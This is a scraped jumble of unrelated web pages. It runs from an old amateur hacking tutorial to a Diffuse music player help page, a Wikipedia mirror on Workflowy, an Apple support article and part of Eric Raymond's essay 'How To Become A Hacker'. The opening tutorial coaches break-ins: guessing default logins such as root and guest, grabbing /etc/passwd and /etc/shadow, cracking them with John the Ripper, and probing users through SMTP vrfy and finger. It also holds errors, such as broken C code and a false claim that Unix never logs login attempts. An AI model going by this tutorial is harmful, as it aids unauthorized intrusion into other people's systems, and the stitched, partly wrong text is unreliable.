they have written, informing them of new bugs in systems e.t.c.... There are
plenty of detailed FAQ's out there, so I won't go into it in detail. Try
looking up 'hacker ethics' in any descent search engine (www.altavista.com
is pretty good) for more

Section 2 : Tell me how to hack!

Yeah right. You ask any hacker or newsgroup this and your gonna get flamed.
Flaming is when someone responds to your question by throwing a string of
anger and obsenities at you because they are mad. Why would they do this?
After all hacking is about giving voluntry help isn't it? Well, asking how
to hack is not only far too general, but it's also pointless. Nobody can
tell you how to hack. They can give you passwords, programs and bugs, but
they by doing this they would be stopping you from learning and discovering
new things, and let's face it, the best way to learn to hack is to do it.

Section 3 : Where to learn

Apart from actually hacking, the most important thing you can do is read.
Texts can come from a variety of sources, including your local library and
of coarse the internet. There are some around with titles like 'The secret
underworld of hacking' but these are mostly a waste of time, and contain no
valuable information. Instead, read books with titles like : 'Unix : An
introduction' or 'How to teach yourself Unix'. These will contain a wealth
of commands and information. You will not learn by simply downloading
programs to do your work for you, although some are essential (I'll tell you
which ones later).

Section 4 : The art of hacking

Hacking is in many ways an art. It takes time, patience and intelligence.
You won't get immediate gratification, but if you do get good, then it's
really worth it. There are several skills accosiated with hacking, but the
fundemental one, which is often overlooked by newbies is the ability to
program. Programming is basically telling the computer what to do, and a
programming language is the way in which you write it. Again, there are
millions of tutorials to do with this subject, and it is FAR too big to go
into here. The basic languages you will need to know are perl and c, which
are the main languages for the Unix operating system (I'll go onto that in a
second). Again, any good search engine will give you hundreds of sites
realted to these. Just to give you an idea of what programming is about,
here' some c source code (that's the text before it is compiled/interpreted
so the computer can understand it):

#include
using namespace std;
int main()
{
cout<<'Hi there, how are you!';
}

Note that this section of code is taken from a MSDOS application. Unix will
differ slightly. Although it can be a bit tedious, programming is very
rewarding, and is very important if you want to become a good hacker. You
won't need to become some programming genius to hack though, just have a
general idea of the syntax used by the languages. The next important skill
you need to learn is how to use the Unix operating system. This is an
operating system (like windows or DOS) which is specifically designed for
networking. Most big servers use it and it allows thousands of users to
connect to virtual (software) and hardware ports remotely ( if the computer
it is operating has them). Like programming, Unix is very complicated and
detailed, so I can only give you an introduction here. The best way to teach
you what Unix is is to give you an example. This example assumes that the
person using it has a shell account (a user name and password so that he can
log in and use the computers), and that the user has windows on their
computer. It is entirely fictional:

(In the run bar)
telnet shinracorperation.com 23
(Telnet starts up, there's a brief pause before the cursor starts flashing)
SunOS : 5.10
login:rudolf
password:########

Welcome to the shinra corperations main server. Type 'help' for more.
$

That is an example of a typical Unix system. To operate it, we run telnet
(the standard telnet program included with windows), this will allow our
computer to communicate with the remote server which is
shinracorperation.com. The number 23 after it tells telnet to connect to
port 23 on the computer. Ports allow remote users to input commands to the
computer. A computer can have thousands of ports, each with a different
number, but the most common and what they do are:

13 : Date and time port (pretty useless really)
21 : FTP (File transport Protocal) port
23 : Standard telnet port. This is the port which the telnet program will
try to open by default
25 : Send Mail port. This allows the user to operate an ancient send mail
program which can send messages to email addresses on that server (more
later)
79 : The 'finger' port. This allows the user to type in the name of a user
and get details on them (very useful)
80 : Standard http port (it's the one your browser opens)
110 : POP port. Allows you to operate a primitive POP email program.

To connect to each of these ports you would put the number instead of 23 in
the command line. The next line tells us what type of operating system the
computer is using. This will become important if you need to use a bug or
back door to get into the system, as they vary from operating system to
operating system. One advantage of Unix operating systems is that they don't
record your login attemps, so the sysadmin won't find 6000 attempts in his
log file when he has a look. Now, the only thing holding us back here is the
need for a username and password. In the early days of hacking, you could
telnet to any computer, type in root as your username and root as your
password and you'd be in with superuser privialges (root is the username
that should give you the ability to do anything on that computer). That
ain't gonna happen these days. There are some servers which you might be
lucky enough to guess a username and password on, so have a look at the list
below of common Unix users:

root
admin
adm
sysadmin
guest (VERY often the password will be guest too)
test
demo
uucp

Although unlikely, these may work if you enter the password the same as the
username, it's worth a try. I hope that gave you an idea of what Unix is.
The final part, by the way, was the command prompt, similair to the C:\>
prompt in DOS. Here you would enter commands for the computer. Since this is
only an introduction, I won't go into commands here, but there are plenty of
books, many from your local library which will tell you how to use Unix. You
can find more information on how to exploit bugs in Unix operating systems
and backdoors in them by using a search engine. Chances are that you will
not be able to guess the password. In this case you'll need to do some
research. Try looking at the companies web site, and finding out things
about them.

Section 5 : Toolz

Although you should use them as little as possible, you will need to use
some programs. One of the most essential is a password cracking program. In
most Unix systems, the password file is located in /etc/passwd. As I've
said, there are plenty of files which will tell you how to download it, so I
won't go into that here. Now, assuming you've got the password file, you'll
need a program called John the Ripper deencrypt the file and get the
passwords. If you open the passwd file with a standard editor like notepad
or edit, you will see something like:

root:h589798Hhgh:0:0:/etc

or

root:x:0:0:/etc

With many more lines added on. If it looks like the first one, then not only
are you lucky, but you've got the passwords for the entire system. Now run
Jack the ripper on it, and if your dictionary file (a file with lots of
standard passwords in it) is good enough, you should at least get a few of
the passwords. If you get root, then get very, very excited. You can now log
into the system and do anything. BUT be warned, you do ANY damage what so
ever, and they'll find you within a couple of hours, so DON'T. Not only
that, but it'll make you a cracker which is someone who breaks into a system
to do damage to it, they are looked down upon by real hackers. Now, if it
looks more like the second one, get ready to cry 'cos the password file is
shadowed. This means that although the users are stored in the passwd file,
the passwords are stored in different one, usually /etc/shadow. This
obviously means that you must download the shadow file (the server probably
won't let you), merge it with the passswd file, and then run john the ripper
on it. If you can get both the passwd and shadow files, you'll need to get a
program called VCU to merge them, although there are some others around.
Shadowing is used by most servers these days, and makes life a hell of a lot
more difficult

Section 6 : Using programs on the server

The first program I'm gonna look at is SMTP (send mail) which is usually
stored on port 25. I'm not gonna give any direct examples here, but replace
the xxx part with virtually any server name and you should find one:

telnet xxx 25

SMPT Version 1.3 Ready

And that is all you get. You are now ready to run this program. It allows
you to send mail to anyone who has an email address within that server. The
commands that you'll need to know to use this program are

help - gives you a list of commands. If you follow it with a command, it
will give you help on it

helo - This tells the computer who you are

mail from:xxx - It will say who the mail is from on the message (replace xx
with a made up or real email address)

rcpt to: - Who the mail will go to. It must be within the server that you
are hacking or you will get the error 'Relaying not allowed'

data : Press enter, and type in what you want the message to say. Put a full
stop (a period) and a seperate line and press enter to end and send the
message

quit : Disconnects you

vrfy xxx : Replace the xxx with a user name, and it will tell you if it
exists

This should give you a basic idea of how to use the program. The commands
should come in that order to send mail (vrfy is not needed to send mail, you
can simply use it to tell if a user exists. Oh yeah, and you won't see what
you type in.

The other program I'm gonna look at is in port 79 so type:

telnet xxx 79

You will be greeted by, well nothing. Loads of servers have closed this
port, but if they have it open, then it is very useful. All you do is type
in the name of the user you want to finger, and it will give you their
account details. Try all of the common users above. This program will
usually only let you finger one user before disconnecting.

Conclusion

I hope this has been an informative introduction into the world of hacking.
Even at this level, there are tonnes more things which you will need to find
out about so that you can hack. I suggest you look the following things up
in your search engine:

Unix operatins system
computer security
hacking
c programming
perl programming
hacking tutorials

Hopefully you will find what you need. One last word of warning, be VERY
careful about hacking, and don't do any damage, you WILL get caught if you
do. Oh yeah, and have fun...

Legal Stuff...

You may reproduce this document on any web page or on any CDROM or
otherwise. You do not have to ask my permission or anything, as long as it
remains unchanged and I get the credit. As I've already said, I'm not
responsible if you act on the information above, and this was intended for
EDUCATIONAL PURPOSES ONLY.

Chaw...

Seditious

set Restriction

Add Tags ?

AddDeleteNo

close

close

About | Diffuse

About | Diffuse

A music player that connects to your cloud & distributed storage

Return to the application

Links

🕸 Web version
🖥 Native version
⚗️ Github repository

Which services does it use?

Diffuse uses two layers of services, these layers are:

  1. User layer
  2. Music layer

User layer

This layer will use a service to store data from a user, such as the user’s favourites, their playlists and data from the processed music files.

You can choose between these services:

Music layer

This layer connects with the services the user has on which music can be found. No data is written to these services. You can combine all of the following services:

How does it work?

Diffuse locates all the music files on the given services, extracts the metadata and then stores it via the user layer (which was explained before).

Supported File Formats

  • MP3
  • MP4/M4A
  • FLAC
  • OGG
  • WAV
  • WEBM

CORS

There’s only one thing you need to do yourself so that your service will work with the application, and that’s setting up CORS (Cross-Origin Resource Sharing). Here are the instructions you’ll need for each service:

Amazon S3

You can find the CORS configuration editor under the “Permissions” tab, on the S3 AWS Console.

<?xml version="1.0" encoding="UTF-8"?>
<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<CORSRule>
    <AllowedOrigin>*</AllowedOrigin>
    <AllowedMethod>GET</AllowedMethod>
    <AllowedMethod>HEAD</AllowedMethod>
    <MaxAgeSeconds>31536000</MaxAgeSeconds>
    <ExposeHeader>Content-Length</ExposeHeader>
    <ExposeHeader>Content-Type</ExposeHeader>
    <AllowedHeader>Range</AllowedHeader>
</CORSRule>
</CORSConfiguration>

Dropbox

Not necessary.

Google Drive

Not necessary.

IPFS

Add the domain of the app, with the protocol, to the list of allowed origins.

ipfs config --json API.HTTPHeaders.Access-Control-Allow-Origin '["https://diffuse.sh"]'

You can also make this change in the Web UI, you’ll find it under “Settings → IPFS Config”.

{
  "API": {
    "HTTPHeaders": {
      "Access-Control-Allow-Origin": [
        "https://diffuse.sh"
      ]
    }
  }
}

Microsoft Azure Storage

You can find the CORS configuration under the “Settings -> CORS”.
Then fill in the following in the input boxes (left to right):

ALLOWED ORIGINS       *
ALLOWED METHODS       GET, HEAD
ALLOWED HEADERS       Range
EXPOSED HEADERS       Content-Length, Content-Range
MAX AGE               0

Textile

Add the domain of the app, with the protocol, to the list of allowed origins in the configuration.

{
  "API": {
    "HTTPHeaders": {
      "Access-Control-Allow-Origin": [
        "https://diffuse.sh"
      ]
    }
  }
}

WebDAV

Depends on your WebDAV server.
Example setup for Henrique Dias’s WebDAV server:

cors:
  enabled: true
  credentials: true

  allowed_headers:
    - Authorization
    - Content-Type
    - Depth
    - Range
  allowed_methods:
    - GET
    - HEAD
    - PROPFIND
  allowed_hosts:
    - https://diffuse.sh
  exposed_headers:
    - Content-Length
    - Content-Type

UI

There are a few “hidden” features:

  • You can reorder items in the queue or a playlist with drag-and-drop. Select the item you want to move by tapping on it, then tap and hold to move it around.
  • You can select multiple tracks using the SHIFT key and then add that selection to the queue or a playlist by right clicking on the selection (desktop only).
  • Click on the now-playing bit to scroll to that track.
  • Double tap on a EQ setting to reset it to its default value.
  • Use the ALT key whilst right clicking on a track to show the alternative track-context menu.

Search

# Show me every track where the title, artist or album contains the term 'Parkway' and the term 'Drive'. Terms are separated by spaces (eg. "Killing with a smile" has four terms).
Parkway Drive

# Show me every track of which the artist's name contains 'park'.
artist:park*

# Show me every track from Parkway Drive's "Deep Blue" album.
artist:Parkway Drive album:Deep Blue

# Show me every track from Parkway Drive but not their "Atlas" album.
artist:Parkway Drive - album:Atlas

Q&A

I used version one, where’s my data?

There’s a small link, or button if you will, on the “Settings -> Import / Export” page that will allow you to import data from version 1 of the app. Note that this will need to reflect the authentication/storage method you chose in version 1.

set Restriction

Add Tags ?

AddDeleteNo

close

close

Workflowy

Workflowy

Workflowy

Workflowy
| Initial release | August 2, 2010 |
| Operating system | iOS, Android, Web |
| Type | Productivity software |
| Website | workflowy.com |

Workflowy is a simple web-based outliner created by Mike Turitzin and Jesse Patel in 2010.[1] The app operates on a freemium business model and its straightforward interface has been described as "uncluttered."[2] by PC World in 2013 and "minimalistically elegant" by The Atlantic in 2016.[3]

Mike Turitzin and Jesse Patel created Workflowy at a Y Combinator startup camp. The idea for Workflowy came from "Patel’s work at a nonprofit, 'a job that was really overwhelming, where I had to manage a bunch of moving parts for 30 different projects.'"[4]

References

  1. "Crunchbase Profile". Retrieved April 25, 2016.
  2. Zukerman, Erez (September 30, 2013). "5 free Web tools to organize your thoughts". PC World. Retrieved April 25, 2016.
  3. Fallows, James (January 6, 2016). "Tech Tips for the New Year: CloudMagic, Workflowy, 'Low Light' Filter on iPad". The Atlantic. Retrieved November 22, 2016.
  4. Manjoo, Farhad (August 2, 2012). "Everything Is a List". Slate. Retrieved April 25, 2016.

External links

|
| Wikimedia Commons has media related to Workflowy. |

|

Y Combinator companies

|
| --- |

|

|

|

|

This article is issued from Wikipedia - version of the 11/24/2016. The text is available under the Creative Commons Attribution/Share Alike but additional terms may apply for the media files.

set Restriction

This snapshot was generated and distributed by the Distributed Wikipedia Mirror project The Distributed Wikipedia Mirror is a global effort, independent from Wikipedia.

Created on: 2017-05 from the kiwix ZIM file

IPFS Link (this snaphost): /ipfs/QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco/wiki/Workflowy.html

IPNS Link (most recent): /ipns/QmdJiuMWp2FxyaerfLrtdLF6Nr1EWpL7dPAxA9oKSPYYgV/wiki/Workflowy.html

HTTP Link: https://ipfs.io/ipfs/QmXoypizjW3WknFiJnKLwHCnL72vedxjQkDDP1mXWo6uco/wiki/Workflowy.html

Download IPFS Here

Distributed Wikipedia

Powered by IPFS

Share this article

Add Tags ?

AddDeleteNo

close

close

Change the name of your macOS user account and home folder - Apple Support

Change the name of your macOS user account and home folder - Apple Support set Restriction

[

Quick Links

5 Quick Links

Change the name of your macOS user account and home folder

You can rename your macOS user account and home folder, which were named when the account was created.

The name of your macOS user account and the name of your home 
 folder must both be the same. Changing these names does not change or reset the password of your user account.

Because doing this incorrectly could damage your account and prevent you from logging in, you should back up your important data before proceeding.

Follow these steps in OS X Yosemite or later.

First rename the home folder

  1. Log out of the account you're renaming, then log in to a different administrator account. (If you don't have another administrator account, you can create one in Users & Groups preferences.)

  2. Open the Users folder on the startup disk. It contains the home folder for each user. To get there, you can choose Go > Go to Folder from the menu bar, then enter /Users.

  3. Rename the user's home folder without using any spaces in the new name. You'll be prompted to enter the administrator name and password that you used to log in. If you're using file sharing to share the home folder, you won't be able to rename it until you stop sharing the folder. 

Then rename the account

While still logged out of the account you're renaming, follow these additional steps:

  1. Choose Apple () menu > System Preferences, then click Users & Groups.

  2. Click 
     , then enter the administrator name and password that you used to log in. 

  3. From the list of users on the left, Control-click the user you're renaming, then choose Advanced Options.

  4. Change the “Account name” field to match the new name of the home folder. It should have no spaces.

  5. The account name also appears in the “Home directory” field, after /Users/. Change that account name to match the new name of the home folder.

  6. If you want to change the full name associated with your account, update the ”Full name” field as well. It can be any name, and you can use either the full name or the account name to log in to your Mac or make changes that require your name and password.

  7. Click OK, then restart your Mac.

  8. Log in to the renamed account, then verify that your old files and folders are visible and the account is working as expected.

Published Date: January 10, 2019

Helpful?

Yes No

Character limit: 250

Please don’t include any personal information in your comment.

Maximum character limit is 250.

Submit

Thanks for your feedback.

Start a Discussion

in Apple Support Communities

Ask other users about this article

See all questions on this article

Apple Footer

 Apple

  1. Support
  2. Change the name of your macOS user account and home folder


United States

Copyright © 2019 Apple Inc. All rights reserved.

Privacy Policy Terms of Use Sales and Refunds Site Map

Add Tags ?

AddDeleteNo

close

close

How To Become A Hacker

How To Become A Hacker

How To Become A Hacker

Eric Steven Raymond

Thyrsus Enterprises

    <[[email protected]](mailto:[email protected])>
    

Copyright © 2001 Eric S. Raymond

Revision History
Revision 1.51
Link to "Things Every Hacker Once Knew." Mention USB-stick distros. Many updated translation links.
Revision 1.50
Added link to "Let's Go Larval".
Revision 1.49
Added link to "How To Learn Hacking".
Revision 1.48
freshmeat/freecode is dead, alas.
Revision 1.47
Fix up various stale links. Join a hackerspace!
Revision 1.46
Add micropatronage explanation and gittip link. Why you should not ask me for advice on how to get started.
Revision 1.45
Open Solaris isn't, and Unity screwed the pooch.
Revision 1.44
Updated the critique of Java.
Revision 1.43
Python passed Perl in popularity in 2010.
Revision 1.42
Added "Historical note".
Revision 1.40
Link fixes.
Revision 1.39
Link fixes.
Revision 1.38
Deprecate Java as a language to learn early.
Revision 1.37
Recommend Ubuntu as a Unix distro for newbies.

Table of Contents

Why This Document?

What Is a Hacker?

The Hacker Attitude

1. The world is full of fascinating problems waiting to be solved.

2. No problem should ever have to be solved twice.

3. Boredom and drudgery are evil.

4. Freedom is good.

5. Attitude is no substitute for competence.

Basic Hacking Skills

1. Learn how to program.

2. Get one of the open-source Unixes and learn to use and run it.

3. Learn how to use the World Wide Web and write HTML.

4. If you don't have functional English, learn it.

Status in the Hacker Culture

1. Write open-source software

2. Help test and debug open-source software

3. Publish useful information

4. Help keep the infrastructure working

5. Serve the hacker culture itself

The Hacker/Nerd Connection

Points For Style

Historical Note: Hacking, Open Source, and Free Software

Other Resources

Frequently Asked Questions

Why This Document?

As editor of the Jargon File and author of a few other well-known documents of similar nature, I often get email requests from enthusiastic network newbies asking (in effect) "how can I learn to be a wizardly hacker?". Back in 1996 I noticed that there didn't seem to be any other FAQs or web documents that addressed this vital question, so I started this one. A lot of hackers now consider it definitive, and I suppose that means it is. Still, I don't claim to be the exclusive authority on this topic; if you don't like what you read here, write your own.

If you are reading a snapshot of this document offline, the current version lives at http://catb.org/~esr/faqs/hacker-howto.html.

Note: there is a list of Frequently Asked Questions at the end of this document. Please read these—twice—before mailing me any questions about this document.

Numerous translations of this document are available: Arabic Belorussian Bulgarian Chinese, Czech. Danish Dutch Estonian French German, Greek Hungarian, Italian Hebrew, Japanese Lithuanian Norwegian, Persian Polish Portuguese (Brazilian), Romanian Spanish, Turkish, and Swedish. Note that since this document changes occasionally, they may be out of date to varying degrees.

The five-dots-in-nine-squares diagram that decorates this document is called a glider. It is a simple pattern with some surprising properties in a mathematical simulation called Life that has fascinated hackers for many years. I think it makes a good visual emblem for what hackers are like — abstract, at first a bit mysterious-seeming, but a gateway to a whole world with an intricate logic of its own. Read more about the glider emblem here.

If you find this document valuable, please support me on Patreon or SubscribeStar. And consider also supporting other hackers who have produced code that you use and value via Loadsharers. Lots of small but continuing donations add up quickly, and can free the people who have given you gifts of their labor to create more value.

What Is a Hacker?

The Jargon File contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to become a hacker, though, only two are really relevant.

There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker.

The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.

There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.

The basic difference is this: hackers build things, crackers break them.

If you want to be a hacker, keep reading. If you want to be a cracker, go read the alt.2600 newsgroup and get ready to do five to ten in the slammer after finding out you aren't as smart as you think you are. And that's all I'm going to say about crackers.

The Hacker Attitude

1. The world is full of fascinating problems waiting to be solved.

2. No problem should ever have to be solved twice.

3. Boredom and drudgery are evil.

4. Freedom is good.

5. Attitude is no substitute for competence.

Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.

But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you'll miss the point. Becoming the kind of person who believes these things is important for you — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.

Or, as the following modern Zen poem has it:

    To follow the path:
    look to the master,
    follow the master,
    walk with the master,
    see through the master,
    become the master.

So, if you want to be a hacker, repeat the following things until you believe them:

1. The world is full of fascinating problems waiting to be solved.

Being a hacker is lots of fun, but it's a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.

If you aren't the kind of person that feels this way naturally, you'll need to become one in order to make it as a hacker. Otherwise you'll find your hacking energy is sapped by distractions like sex, money, and social approval.

(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you'll learn enough to solve the next piece — and so on, until you're done.)

2. No problem should ever have to be solved twice.

Creative brains are a valuable, limited resource. They shouldn't be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.

To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it's almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve new problems instead of having to perpetually re-address old ones.

Note, however, that "No problem should ever have to be solved twice." does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn't know before by studying the first cut at a solution. It's OK, and often necessary, to decide that we can do better. What's not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and force people to re-invent wheels.

(You don't have to believe that you're obligated to give all your creative product away, though the hackers that do are the ones that get most respect from other hackers. It's consistent with hacker values to sell enough of it to keep you in food and rent and computers. It's fine to use your hacking skills to support a family or even get rich, as long as you don't forget your loyalty to your art and your fellow hackers while doing it.)

3. Boredom and drudgery are evil.

Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.

To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).

(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can't have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)

4. Freedom is good.

Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you're being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.

(This isn't the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that's a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)

Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.

5. Attitude is no substitute for competence.

To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won't make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.

Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won't let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.

If you revere competence, you'll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.

Basic Hacking Skills

1. Learn how to program.

2. Get one of the open-source Unixes and learn to use and run it.

3. Learn how to use the World Wide Web and write HTML.

4. If you don't have functional English, learn it.

The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.

This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:

1. Learn how to program.

This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed evaluation of Python. Good tutorials are available at the Python web site; there's an excellent third-party one at Computer Science Circles.

I used to recommend Java as a good language to learn early, but this critique has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually do. Now I think it is probably best to learn C and Lisp first, then Java.

There is perhaps a more general point here. If a language does too much for you, it may be simultaneously a good tool for production and a bad one for learning. It's not only languages that have this problem; web application frameworks like RubyOnRails, CakePHP, Django may make it too easy to reach a superficial sort of understanding that will leave you without resources when you have to tackle a hard problem, or even just debug the solution to an easy one.

If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.

C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much more efficiently. Thus, Python.

Other languages of particular importance to hackers include Perl and LISP. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.

LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)

It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.

But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.

I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe most of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) reading code and (b) writing code.

Peter Norvig, who is one of Google's top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called Teach Yourself Programming in Ten Years. His "recipe for programming success" is worth careful attention.

Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more ... and repeat until your writing begins to develop the kind of strength and economy you see in your models.

I have had more to say about this learning process in How To Learn Hacking. It's a simple set of instructions, but not an easy one.

Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic...

2. Get one of the open-source Unixes and learn to use and run it.

I'll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes, install it on a personal machine, and run it.

Yes, there are other operating systems in the world besides Unix. But they're distributed in binary — you can't read the code, and you can't modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.

Under Mac OS X it's possible, but only part of the system is open source — you're likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple's proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.

Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can't be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn't always true, and some old-time hackers still aren't happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft's muscle doesn't seem able to seriously dent it.)

So, bring up a Unix — I like Linux myself but there are other ways (and yes, you can run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You'll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you'll have fun, and you'll soak up more knowledge than you realize you're learning until you look back on it as a master hacker.

For more about learning Unix, see The Loginataka. You might also want to have a look at The Art Of Unix Programming.

The blog Let's Go Larval! is a window on the learning process of a new Linux user that I think is unusually lucid and helpful. The post How I Learned Linux makes a good starting point.

To get your hands on a Linux, see the Linux Online! site; you can download from there or (better idea) find a local Linux user group to help you with installation.

During the first ten years of this HOWTO's life, I reported that from a new user's point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: Ubuntu. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies. Beware, though, of the hideous and nigh-unusable "Unity" desktop interface that Ubuntu introduced as a default a few years later; the Xubuntu or Kubuntu variants are better.

You can find BSD Unix help and resources at www.bsd.org.

A good way to dip your toes in the water is to boot up what Linux fans call a live CD, a distribution that runs entirely off a CD or USB stick without having to modify your hard disk. This may be slow, because CDs are slow, but it's a way to get a look at the possibilities without having to do anything drastic.

I have written a primer on the basics of Unix and the Internet.

I used to recommend against installing either Linux or BSD as a solo project if you're a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user's group and asking for help. It can't hurt, and may smooth the process.

3. Learn how to use the World Wide Web and write HTML.

Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even politicians admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.

This doesn't just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web's markup language. If you don't know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page.

But just having a home page isn't anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see The HTML Hell Page).

To be worthwhile, your page must have content — it must be interesting and/or useful to other hackers. And that brings us to the next topic...

4. If you don't have functional English, learn it.

